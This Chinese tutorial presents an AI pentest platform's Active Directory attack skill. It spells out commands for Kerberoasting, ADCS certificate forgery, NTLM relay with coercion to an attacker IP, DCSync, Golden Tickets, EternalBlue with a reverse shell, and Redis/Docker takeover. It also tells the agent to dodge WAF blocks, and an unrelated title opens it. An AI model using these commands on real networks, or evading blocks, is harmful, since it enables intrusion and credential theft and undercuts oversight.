企业官网建设流程全解析

CyberStrikeAI 内网域攻击技能实战指南：从 BloodHound 路径分析到 ADCS/NTLM Relay 与一击致命域漏洞

【免费下载链接】CyberStrikeAIThe system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.项目地址: https://gitcode.com/GitHub_Trending/cy/CyberStrikeAI

本篇技术指南以 CyberStrikeAI 仓库中 active-directory-attack 技能文档 为核心骨架，完整拆解其在真实内网渗透测试中对 Active Directory（AD）、ADCS、NTLM Relay 与内部域环境的攻击方法学：侦察阶段如何用 BloodHound 构建攻击路径，Kerberos 侧如何实施 AS-REP Roasting 与 Kerberoasting，如何围绕 ADCS ESC1/ESC8、NTLM Relay、强制认证 Coerce、DACL 滥用与 DCSync 构建完整提权链路，以及 Zerologon、NoPac、PrintNightmare、EternalBlue 等一击致命域级漏洞的命中条件。读完本文，你将掌握一套"从枚举侦察到域管接管"的完整攻击链打法，并能理解该技能在 CyberStrikeAI 多代理编排中如何通过项目黑板记录事实、输出规范化漏洞报告并接受验证铁律约束。

技能定位：何时触发本技能

在 CyberStrikeAI 的技能体系中，每个技能都是一个独立子目录，目录根上必须有SKILL.md（含 YAML front matter：name、description，后接 Markdown 正文），且目录名须与name一致，具体规范见 skills/README.md。

本技能active-directory-attack的 front matter 声明如下：

name: active-directory-attack description: >- 内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync, Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。 Use when attacking Active Directory, ADCS, NTLM relay, or internal domain. metadata: tags: [渗透测试, penetration-testing, 红队]

从声明可以看出，当攻击面进入 Active Directory、ADCS、NTLM Relay 或内部域环境时，模型应当拉取本技能全文执行。从仓库的运行时设计看，多代理（DeepAgent）会话中由 ADK 的skill中间件渐进披露各技能（系统提示中只列出 name/description），模型再调用skill工具拉取SKILL.md全文，可选的multi_agent.eino_skills.filesystem_tools允许技能包内脚本通过read_file/execute访问（见 skills/README.md）。

该技能覆盖的完整技术栈可归纳为十一个攻击方向：

1. 侦察：BloodHound（SharpHound 收集 → 攻击路径）
2. Kerberos：GetNPUsers（AS-REP）/ GetUserSPNs（Kerberoast）
3. ADCS：Certipy 一把梭（ESC1 / ESC8）
4. NTLM Relay（比 Pass-the-Hash 更重要，PtH 常被 EDR 拦截）
5. 强制认证 Coerce（PetitPotam / coercer / printerbug）
6. DACL 滥用（WriteDACL → DCSync；影子凭据）
7. DCSync → krbtgt hash → Golden Ticket
8. 一击致命域 CVE（Zerologon / NoPac / PrintNightmare / EternalBlue）
9. IPv6 / mitm6（DHCPv6 + DNS + WPAD）
10. LLMNR/NBT-NS 投毒（Responder + hashcat）
11. Linux 内网横向（Redis 未授权 / NFS / Docker）

下面逐一展开。

侦察先行：BloodHound 与攻击路径可视化

技能开篇即强调内网域是"2023+ 真实主战场"，侦察阶段的第一要务是运行 BloodHound：由 SharpHound（Windows 端收集器）在目标域内收集节点与边关系，导入 BloodHound 后即可得到从当前控制点通往域管的最短攻击路径。

在 CyberStrikeAI 的工具注册表中，BloodHound 以bloodhound-python命令注册（Linux 侧对应工具），见 tools/bloodhound.yaml，其声明的能力包括：

• 域信息收集
• 攻击路径分析
• 权限关系可视化
• 最短攻击路径计算
• 高风险路径识别

该工具配置暴露的关键参数与技能中的命令一一对应：

注意工具描述中给出的使用前提：需要域用户凭据、需要 Neo4j 数据库支持、收集过程可能耗时较长，且必须用于授权环境。collection_method建议使用All全量收集 ACL 与对象属性，因为后续 DACL 滥用路径（见下文）高度依赖完整的 ACL 数据。

按照 skills/attack-surface-recon/SKILL.md 的节奏，侦察是"开局第一动作"，识别到新端口、新凭据后应立即upsert_project_fact写入黑板，而不是"裸奔进利用"。

Kerberos 预认证攻击：AS-REP Roasting 与 Kerberoasting

技能给出的两条 Kerberos 攻击命令均出自 Impacket 工具集：

GetNPUsers.py <domain>/ -usersfile users.txt -no-pass # AS-REP Roasting GetUserSPNs.py <domain>/<user>:<password> -request # Kerberoasting

AS-REP Roasting（GetNPUsers）

针对未启用 Kerberos 预认证（DONT_REQ_PREAUTH）的账户：域控不会验证其预认证时间戳，攻击者可直接请求其 TGT，得到的响应中包含可用离线破解的加密材料。技能中直接给出GetNPUsers，配合-no-pass枚举无需密码即可拉取可爆破票据的账户。

Kerberoasting（GetUserSPNs）

针对注册了 SPN 的普通域账户：任何域用户都可以向域控申请这些服务账户的 TGT，票据以服务账户密码派生的密钥加密，离线破解即可还原服务账户明文密码——许多企业将服务账户密码设为高强度却长期不轮换，导致"一个 SPN 账户密码=一个横向移动跳板"。

破解环节：hashcat

两种票据均需离线破解，CyberStrikeAI 注册了 tools/hashcat.yaml 作为密码恢复工具，其参数设计如下：

实践中最常用：hashcat -m 18200（Kerberoast 票据）与hashcat -m 13100（AS-REP 票据）配合-a 0字典模式；而抓到的 NetNTLMv2（见 LLMNR 一节）对应-m 5600。hashcat 支持 GPU 加速、字典/组合/掩码多种攻击模式及规则引擎，是技能中"抓到 hash 就破解"的标准配套。

ADCS 攻击：Certipy 与 ESC1/ESC8

技能以"Certipy 一把梭"概括 ADCS 攻击的核心流程：

certipy find <domain>/<user>:<password> -vulnerable -dc-ip <DC_IP> # 枚举易受攻击的模板 certipy req <domain>/<user>:<password> -template <ESC1模板> -upn <目标域管> # ESC1

• certipy find -vulnerable：自动枚举证书颁发机构（CA）上的证书模板，标记存在 ESC（Escalation）系列缺陷的模板，省去手工比对模板权限与 EKU 的过程。
• ESC1：若某模板允许请求者指定 SAN（subjectAltName），即可在证书申请中直接声明-upn administrator@domain，签出域管理员的证书，随后用该证书申请 TGT 完成提权。
• ESC8：将 NTLM Relay 到的 HTTP 端点指向 CA 的 Web 注册接口（-t http <CA> --adcs），以目标机器账户身份签发 DC 证书，实现从"中继 NTLM 认证"到"域管权限"的转化（详见下一节）。

ADCS 证书攻击的最终落地形态与 DCSync 相同：拿到域管或 DC 机器账户的证书后，使用certipy auth -pfx获得对应 TGT，随后即可执行 DCSync 提取 krbtgt hash。

NTLM Relay：比 Pass-the-Hash 更优先的横向路径

技能明确给出优先级判断：NTLM Relay 比 Pass-the-Hash（PtH）重要，因为 PtH 常被 EDR 拦截。现代 EDR 普遍监控lsass.exe内存访问与 NTLM hash 注入行为，直接sekurlsa::pth极易触发告警；而 Relay 是在网络层转发认证，不触碰本机内存。

ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <新用户> # LDAP 中继提权 ntlmrelayx.py -t http://<CA> --adcs # ESC8：中继到 CA 签证书 ntlmrelayx.py -t smb://<TARGET> --delegate-access # RBCD：资源约束委派

三条典型目标：

前提条件值得注意：中继到 LDAP 需要目标 DC 未强制启用 LDAP 签名/通道绑定，SMB 中继需要目标未开启 SMB 签名；这正是红队实战中先nmap -sV -sC（见 tools/nmap.yaml 默认的-sT -sV -sC组合）确认签名状态的原因。工具层面，仓库注册的 tools/netexec.yaml（原 CrackMapExec）通过-H参数原生支持 Pass-the-Hash 场景，同时以-M提供模块化横向扩展（SMB、SSH、WinRM 等多协议）。

Relay 的前提是"让受害者主动向我们发起认证"，这就引出下一节——强制认证。

强制认证 Coerce：把认证"喂"给 Relay

NTLM Relay 链路的输入端需要受害者机器主动发起 NTLM 认证，强制认证（Coerce）攻击正是为此设计：

# PetitPotam：基于 MS-EFSRPC 的 EfsRpcOpenFileRaw 调用 python3 petitpotam.py <attacker_ip> <victim_ip> # coercer：全协议喷射，自动遍历多个 Coerce 原语 coercer coerce -u <user> -p <password> -d <domain> -l <attacker_ip> -t <victim_ip> # printerbug：基于 MS-RPRN 的 SpoolService python3 printerbug.py <domain>/<user>:<password>@<target> <attacker_ip>

• PetitPotam（MS-EFSRPC）：调用目标机器的加密文件系统远程协议（EFSRPC）接口，迫使机器账户向攻击者发起 NTLM 认证；对未打补丁的 DC 甚至可用匿名会话触发。
• coercer：将 PetitPotam、printerbug 等数十种 Coerce 原语打包，全协议喷射目标，提高命中率。
• printerbug（MS-RPRN）：利用打印后台处理服务（Spooler）的RpcRemoteFindFirstPrinterChangeNotification接口触发认证。

经典攻击链组合为：coercer/PetitPotam 强制 DC 认证 → ntlmrelayx 中继到 LDAP（--escalate-user）或 CA（--adcsESC8）→ 获得高权限。这条链在技能中被标记为与现代内网"默认双栈"环境高度契合的隐蔽首选路径，因为 DC 机器账户的认证难以通过关闭 LLMNR 等方式防御。

DACL 滥用：WriteDACL 与影子凭据

当侦察数据（尤其 BloodHound 的 ACL 收集）显示当前账户对某对象拥有特殊 DACL 权限时，可以实施两类高价值滥用：

# WriteDACL：给自己添加 DCSync 权限（Replicating Directory Changes 等） net rpc grant <user> DCSync -U <domain>/<user> -I <DC_IP> # 影子凭据：certipy shadow（仅需 GenericWrite，不修改密码、不留痕） certipy shadow auto -u <user>@<domain> -p <password> -account <victim>

• WriteDACL → DCSync：若当前账户对域对象拥有 WriteDACL 权限，可修改域对象的 DACL，将"复制目录更改"（DS-Replication-Get-Changes / All）权限授予自己，随后执行 DCSync 提取全部域凭据。
• 影子凭据（certipy shadow）：仅需对目标对象拥有 GenericWrite 权限，即可向目标的msDS-KeyCredentialLink属性写入攻击者控制的密钥对，之后以该密钥申请 TGT。技能特别强调其"不改密码、不留痕"——受害者密码不变，常规密码审计无法发现，属于典型的持久化/提权后门。

在 CyberStrikeAI 的输出规范中，这两类操作被明确列入必须实时记账的"权限改动"台账类型：DCSync/RBCD/影子凭据（见 skills/pentest-output-standards/SKILL.md），每条写入型改动需记录主机、类型、位置、内容与回滚命令。

DCSync 与黄金票据

secretsdump.py <domain>/<user>:<password>@<DC_IP> -just-dc

secretsdump -just-dc通过域复制协议直接从 DC 提取krbtgt等账户的 hash。得到 krbtgt hash 后即可伪造黄金票据（Golden Ticket）：用ticketer.py以 krbtgt hash 签发任意用户的 TGT，实现全域任意身份访问与持久化。

技能将 DCSync 定位为多类攻击的"汇合点"：ESC1/ESC8 证书提权、Zerologon 置空密码、WriteDACL 提权最终都通向 DCSync——拿到 krbtgt hash 即拿到整个域。防御侧对应的是：定期轮换 krbtgt 密码、审计"复制目录更改"权限授予、监控4624/4662等异常复制事件。

一击致命的域级 CVE：先测再打，命中即域管

技能专门列出四个"一击致命"的域级漏洞，并给出明确策略——先探测，命中直接域管，避免低效的逐跳提权：

在 CyberStrikeAI 中，Metasploit 被注册为可编程调用框架，见 tools/metasploit.yaml：模型以"模块名 + JSON 选项"的方式通过msfconsole -q -x非交互执行。例如 EternalBlue 的标准调用：

{ "module": "exploit/windows/smb/ms17_010_eternalblue", "options": { "RHOSTS": "192.168.1.10", "LHOST": "192.168.1.100", "PAYLOAD": "windows/x64/meterpreter/reverse_tcp" } }

该工具封装会自动构建use <module>、逐项set、run、exit的命令序列。值得注意的是，Zerologon 等漏洞的成功利用会永久性修改 DC 机器账户密码（若未使用-restore恢复），属于输出规范中必须记账的高危改动；利用后应立即恢复原密码并记录台账。

IPv6/mitm6：现代内网的首选隐蔽路径

技能明确标注：IPv6/mitm6 是"默认双栈内网必打"的攻击面，比 LLMNR 更隐蔽，是现代内网首选。绝大多数企业内网同时启用 IPv6 协议栈但缺少 IPv6 专属的 DHCP/DNS 基础设施，这为 mitm6 提供了天然的劫持空间：

mitm6 -d <domain> -i eth0 # 劫持 DHCPv6 + DNS ntlmrelayx.py -6 -t ldap://<DC_IP> --delegate-access # 中继到 LDAP 做 RBCD ntlmrelayx.py -6 -t http://<CA> --adcs # 或中继到 CA 触发 ESC8

攻击链为：mitm6 响应内网主机的 DHCPv6 请求，将自己设为 DNS 服务器 → 受害主机查询 WPAD（Web Proxy Auto-Discovery）时解析到攻击机 → 受害主机访问恶意 WPAD 代理并以 NTLM 认证 → ntlmrelayx 将认证中继到 LDAP 或 ADCS。相比 LLMNR 投毒需要受害主机先发生名称解析失败，mitm6 的触发是无条件的（只要主机配置了 IPv6 且内网无合法 DHCPv6 服务），因此命中率更高且更难防御。

技能建议在双栈内网优先尝试 mitm6 链路，LLMNR 投毒作为次选。这与工具侧 tools/responder.yaml 对 Responder 的封装形成互补：Responder 专注于 IPv4 的 LLMNR/NBT-NS/MDNS 投毒。

LLMNR/NBT-NS 投毒：Responder 抓 NetNTLMv2

responder -I eth0 -wv # 交互运行：WPAD + 投毒 responder -I eth0 -A # 仅分析模式，不实际投毒 hashcat -m 5600 hash.txt rockyou.txt # 破解抓到的 NetNTLMv2

当内网主机解析不存在的名称时，会依次回退到 LLMNR、NBT-NS 广播查询，攻击者监听并伪造响应即可骗取 NetNTLMv2 凭据。抓到后要么离线破解（hashcat -m 5600），要么直接喂给 ntlmrelayx 做中继。

仓库对 Responder 的封装（tools/responder.yaml）为模型调用设计了完整的参数映射：

值得注意的是封装内置了duration自动停止机制——默认运行 300 秒后自动terminate进程，避免长时间占用网络对生产环境造成持续干扰，这体现了该平台工具封装对"授权测试边界"的内建约束。

Linux 内网横向：域外同样重要

技能在域攻击主线之外，还专门列出了 Linux 内网侧的三个高频突破口：

# Redis 未授权：CONFIG SET 写 SSH 公钥 redis-cli -h <target> -p 6379 > config set dir /root/.ssh > config set dbfilename authorized_keys > set x "\n\n<ssh_public_key>\n\n" > save # NFS 枚举：showmount 查看共享 showmount -e <target> # Docker 未授权：2375 端口直接控制 docker -H tcp://<target>:2375 ps

• Redis 未授权：目标以默认配置监听 6379 且无认证时，可通过CONFIG SET dir/dbfilename将数据库文件写入受害主机的authorized_keys，随后用 SSH 公钥登录。防御侧要求 Redis 绑定回环或启用requirepass。
• NFS showmount：showmount -e枚举 NFS 共享目录，若配置了no_root_squash，可挂载后以 root 身份写入（如向authorized_keys或 crontab 写入后门）。
• Docker 2375：Docker daemon 若监听tcp://0.0.0.0:2375且无 TLS 认证，攻击者可直接拉取镜像并挂载宿主根目录启动特权容器，实现宿主机接管。

这三条路径与域攻击主线互补——内网渗透往往"先拿一台 Linux 跳板，再从跳板打进域"，因此技能将 Linux 内网攻击与域攻击并列放在同一技能中。

在 CyberStrikeAI 中的实战落地：黑板、验证与输出纪律

该技能不是孤立的命令清单，而是 CyberStrikeAI 渗透测试方法论的一个环节。技能文档的正文块本质上是一份"攻击面提示词"，执行时必须遵守平台侧的三个配套纪律：

1. 边打边记录：项目黑板

按照 skills/pentest-blackboard/SKILL.md，所有确认的认知必须立即写入绑定项目的 SQLite 黑板：

• 环境/目标/认证等认知 →upsert_project_fact（target/auth/infra/business/前缀），fact_key采用小写category/slug格式，如auth/cred-kerberoast-hash；
• 发现与利用上下文 →finding/chain/exploit/poc/前缀，且必须带links关系边（discovered_on、leads_to、enables、exploits等类型）构建结构化攻击图；
• 验证成功的可交付漏洞 →record_vulnerability（标题、严重程度、类型、目标、POC、影响、修复建议），记录前可用list_vulnerabilities查重。

以本技能场景为例：BloodHound 发现 WriteDACL 路径后应立即写finding/writedacl-<target>，利用成功后写chain/dacl-to-dcsync并关联exploit/与poc/事实，最终以record_vulnerability产出正式漏洞条目。

2. 验证铁律与负结果

skills/pentest-verification/SKILL.md 与黑板技能均强调：搜索≠漏洞，无证据不得写confirmed。对应到本技能：

• 识别到 ADCS 模板、域版本或中间件后，应先执行component-vuln-intel的联网情报搜索再判断"无已知漏洞"；
• 收到 403/429/RST/WAF 拦截后禁止同条件重试，应换路（代理、UA、XFF、协议、端口）；
• Zerologon、NoPac 等漏洞必须实测确认（如zerologon脚本实际置空验证）后才能confirmed；
• 失败的利用尝试（如 SMB 签名开启导致 relay 失败）也要写负结果 Fact，避免后续重复打点。

3. 输出规范与改动台账

skills/pentest-output-standards/SKILL.md 要求每轮输出包含思维链、漏洞报告模板与改动台账。台账类型中与本技能直接相关的是"权限改动"类：DCSync/RBCD/影子凭据以及"申请凭据"类（证书申请）。例如执行certipy shadow写入msDS-KeyCredentialLink或 Zerologon 置空密码后，必须实时记录：

#|时间|主机|类型|位置|内容|回滚命令

每条改动需给出回滚命令，交付时输出完整台账与一键回滚脚本（逆序生成），系统绝不擅自清理——这与技能中"影子凭据不留痕"的利用特性形成显式的可审计约束。

多代理编排中的技能分工

在 CyberStrikeAI 的多代理编排（见 agents/orchestrator.md 与 docs/zh-CN/MULTI_AGENT_EINO.md）中，本技能通常由以下角色配合执行：

• 侦察代理：先期执行 attack-surface-recon 完成资产测绘与指纹识别；
• 攻击代理：拉取本技能active-directory-attack执行域内攻击动作；
• 协调者（orchestrator）：汇总子代理的"待落库"条目，统一写入黑板，避免子代理无工具时证据丢失（见黑板技能中"协调者"分工）。

技能间的衔接点是黑板 Fact：attack-surface-recon产出的域控制器 IP、开放端口、SMB 签名状态等，是本技能选择"Relay 还是 PtH""先测 Zerologon 还是先 Kerberoast"的决策输入；本技能产出的凭据、hash、证书又横向喂给后续的横向移动与持久化环节。

授权与安全边界

本技能文档及本文所述的全部技术均以授权环境下的渗透测试与红队演练为前提。BloodHound 工具描述中明确"建议在授权环境中使用"，Responder 封装默认 300 秒自动停止，impacket 与 Metasploit 的注册同样强调"仅用于授权的安全测试"。Zerologon、NoPac 等利用会实际修改域内对象属性，PrintNightmare 与 EternalBlue 会在目标系统执行代码，任何未授权使用均违反法律与安全红线。在实际项目中，请务必先确认测试范围、时间窗口与回滚预案，再执行本技能中的任何一步。

小结：一条完整的内网域攻击链

将技能全文串成一条可执行的主线：

1. 侦察：SharpHound/bloodhound-python 收集数据 → BloodHound 计算最短攻击路径；
2. 凭据猎取：GetNPUsers（AS-REP）/ GetUserSPNs（Kerberoast）离线破解，或 Responder/mitm6 抓取 NetNTLMv2；
3. 提权利用：优先尝试 Zerologon/NoPac/PrintNightmare 等一击致命 CVE（命中即域管）；否则走 certipy ESC1/ESC8、NTLM Relay + Coerce、WriteDACL/影子凭据；
4. 最终接管：DCSync 提取 krbtgt hash → Golden Ticket 持久化；
5. 记录与交付：全部认知入黑板（Fact/链/漏洞），权限改动入台账，交付漏洞报告与回滚脚本。

每一步在 CyberStrikeAI 中都有对应的工具注册（tools/ 下的 YAML 配置）与技能衔接，这正是该平台将"意图变为受治理执行、证据变为可操作记忆"的工程化体现。

【免费下载链接】CyberStrikeAIThe system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.项目地址: https://gitcode.com/GitHub_Trending/cy/CyberStrikeAI